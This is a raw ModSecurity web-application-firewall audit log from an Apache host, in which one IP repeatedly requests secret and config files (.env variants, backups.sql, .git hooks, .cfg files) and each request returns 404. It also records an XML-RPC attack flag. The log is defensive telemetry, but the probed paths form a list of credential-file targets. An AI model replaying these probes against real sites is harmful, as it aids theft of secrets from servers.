[file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/docker/.env"] [unique_id "aE8VsCKD19h5xDtM-2wV6wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013360869331 644923 (- - -) Stopwatch2: 1750013360869331 644923; combined=1268, p1=274, p2=891, p3=0, p4=0, p5=103, sr=74, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4c85c27b-Z-- --195b082a-A-- [16/Jun/2025:00:19:22.556936 +0530] aE8VsceCLQXSV5p8-VEdjwAAAAA 185.177.72.210 36890 127.0.0.1 7081 --195b082a-B-- GET /symfony/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --195b082a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1ff64df16f81163cc53b3a2d372447dc1750013362; expires=Sun, 15 Jun 2025 19:49:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --195b082a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/symfony/.env"] [unique_id "aE8VsceCLQXSV5p8-VEdjwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013361836103 720897 (- - -) Stopwatch2: 1750013361836103 720897; combined=1635, p1=360, p2=1186, p3=0, p4=0, p5=88, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --195b082a-Z-- --f7fd043e-A-- [16/Jun/2025:00:19:26.733599 +0530] aE8Vtleqy5hRjKvJEAyWQwAAAAE 185.177.72.210 37902 127.0.0.1 7081 --f7fd043e-B-- GET /:8880/.env~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f7fd043e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=00c87816428fac39f75eaf76567334fa1750013366; expires=Sun, 15 Jun 2025 19:49:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f7fd043e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env~"] [unique_id "aE8Vtleqy5hRjKvJEAyWQwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013366073548 660124 (- - -) Stopwatch2: 1750013366073548 660124; combined=1774, p1=392, p2=1290, p3=0, p4=0, p5=92, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f7fd043e-Z-- --bae96378-A-- [16/Jun/2025:00:19:28.716814 +0530] aE8VuFeqy5hRjKvJEAyWRAAAAAE 185.177.72.210 38098 127.0.0.1 7081 --bae96378-B-- GET /backups.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bae96378-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=701e07d06a8c89548f59600ca436c4321750013368; expires=Sun, 15 Jun 2025 19:49:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bae96378-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backups.sql"] [unique_id "aE8VuFeqy5hRjKvJEAyWRAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013368056771 660131 (- - -) Stopwatch2: 1750013368056771 660131; combined=1890, p1=345, p2=1444, p3=0, p4=0, p5=100, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bae96378-Z-- --32734c35-A-- [16/Jun/2025:00:19:32.795514 +0530] aE8VvChnDkBlcF0fkxMH4gAAAAQ 185.177.72.210 47946 127.0.0.1 7081 --32734c35-B-- GET /.git/hooks/pre-rebase HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --32734c35-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=694342d9efdcae9de993c72b0d284e911750013372; expires=Sun, 15 Jun 2025 19:49:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --32734c35-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/hooks/pre-rebase"] [unique_id "aE8VvChnDkBlcF0fkxMH4gAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013372137359 658227 (- - -) Stopwatch2: 1750013372137359 658227; combined=2508, p1=409, p2=2005, p3=0, p4=0, p5=93, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --32734c35-Z-- --60543834-A-- [16/Jun/2025:00:19:33.820817 +0530] aE8VvSKD19h5xDtM-2wV_wAAAAo 185.177.72.210 47974 127.0.0.1 7081 --60543834-B-- GET /delivery/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --60543834-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=84a939761da404ea0f23744f8938428f1750013373; expires=Sun, 15 Jun 2025 19:49:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --60543834-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/delivery/.env"] [unique_id "aE8VvSKD19h5xDtM-2wV_wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013373125037 695844 (- - -) Stopwatch2: 1750013373125037 695844; combined=1858, p1=403, p2=1342, p3=0, p4=0, p5=112, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --60543834-Z-- --75202c75-A-- [16/Jun/2025:00:19:34.795731 +0530] aE8VvmuCR1auBLUP7R-mPgAAAAg 185.177.72.210 48014 127.0.0.1 7081 --75202c75-B-- GET /app/config/routes.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --75202c75-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5f5dcdafcf700e47e67bdb21ceb650501750013374; expires=Sun, 15 Jun 2025 19:49:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --75202c75-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/app/config/routes.cfg"] [unique_id "aE8VvmuCR1auBLUP7R-mPgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013374142004 653835 (- - -) Stopwatch2: 1750013374142004 653835; combined=2011, p1=350, p2=1541, p3=0, p4=0, p5=119, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --75202c75-Z-- --f23d5e69-A-- [16/Jun/2025:00:20:20.014787 +0530] aE8V63JNE8RtYqH8JCs9nQAAAAI 128.199.112.101 34058 127.0.0.1 7081 --f23d5e69-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f23d5e69-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f23d5e69-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8V63JNE8RtYqH8JCs9nQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013419083580 931262 (- - -) Stopwatch2: 1750013419083580 931262; combined=2430, p1=445, p2=1568, p3=41, p4=59, p5=204, sr=136, sw=113, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f23d5e69-Z-- --95b4e65e-A-- [16/Jun/2025:00:20:32.946704 +0530] aE8V-Feqy5hRjKvJEAyWcAAAAAE 185.177.72.210 50486 127.0.0.1 7081 --95b4e65e-B-- GET /docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --95b4e65e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2513ce787d6e8109b3cb2b0fcda83bd21750013432; expires=Sun, 15 Jun 2025 19:50:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --95b4e65e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker/.env"] [unique_id "aE8V-Feqy5hRjKvJEAyWcAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013432214639 732140 (- - -) Stopwatch2: 1750013432214639 732140; combined=1843, p1=386, p2=1356, p3=0, p4=0, p5=101, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --95b4e65e-Z-- --983b4c62-A-- [16/Jun/2025:00:20:33.921012 +0530] aE8V-cS9iiS_j7H7Go625gAAAAU 185.177.72.210 50536 127.0.0.1 7081 --983b4c62-B-- GET /.env.production.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --983b4c62-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b6fc75c14b01d2e129e6fa0fd7af0e831750013433; expires=Sun, 15 Jun 2025 19:50:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --983b4c62-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.production.local"] [unique_id "aE8V-cS9iiS_j7H7Go625gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013433270057 651018 (- - -) Stopwatch2: 1750013433270057 651018; combined=1821, p1=354, p2=1378, p3=0, p4=0, p5=88, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --983b4c62-Z-- --98ae4771-A-- [16/Jun/2025:00:20:36.930006 +0530] aE8V_GuCR1auBLUP7R-mZgAAAAg 185.177.72.210 50656 127.0.0.1 7081 --98ae4771-B-- GET /:8008/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --98ae4771-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=189e9a1ea89f1533bfefd255ffa264171750013436; expires=Sun, 15 Jun 2025 19:50:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --98ae4771-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.dev"] [unique_id "aE8V_GuCR1auBLUP7R-mZgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013436247120 682963 (- - -) Stopwatch2: 1750013436247120 682963; combined=1703, p1=380, p2=1236, p3=0, p4=0, p5=86, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --98ae4771-Z-- --482dfd58-A-- [16/Jun/2025:00:20:46.083162 +0530] aE8WBXJNE8RtYqH8JCs9qQAAAAI 185.177.72.210 57240 127.0.0.1 7081 --482dfd58-B-- GET /:8888/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --482dfd58-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9103d124587a408f19de5c960ad6e8e81750013445; expires=Sun, 15 Jun 2025 19:50:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --482dfd58-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/konfig/.env"] [unique_id "aE8WBXJNE8RtYqH8JCs9qQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013445439535 643689 (- - -) Stopwatch2: 1750013445439535 643689; combined=1624, p1=376, p2=1159, p3=0, p4=0, p5=89, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --482dfd58-Z-- --db93e11c-A-- [16/Jun/2025:00:20:53.324422 +0530] aE8WDFeqy5hRjKvJEAyWegAAAAE 185.177.72.210 40096 127.0.0.1 7081 --db93e11c-B-- GET /.installed.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --db93e11c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c3739c782961ec71c2c117275caab3e31750013453; expires=Sun, 15 Jun 2025 19:50:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --db93e11c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".installed.cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".installed.cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.installed.cfg"] [unique_id "aE8WDFeqy5hRjKvJEAyWegAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013452643486 681023 (- - -) Stopwatch2: 1750013452643486 681023; combined=1862, p1=352, p2=1422, p3=0, p4=0, p5=88, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --db93e11c-Z-- --7ff2290a-A-- [16/Jun/2025:00:20:57.648902 +0530] aE8WECKD19h5xDtM-2wWOgAAAAo 185.177.72.210 40258 127.0.0.1 7081 --7ff2290a-B-- GET /:5000/storage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7ff2290a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d3f9a7e800e91f6f91f1ee65e19e44431750013457; expires=Sun, 15 Jun 2025 19:50:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7ff2290a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/storage/.env"] [unique_id "aE8WECKD19h5xDtM-2wWOgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013456896412 752556 (- - -) Stopwatch2: 1750013456896412 752556; combined=156950, p1=391, p2=1432, p3=0, p4=0, p5=77616, sr=106, sw=0, l=0, gc=77511 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: 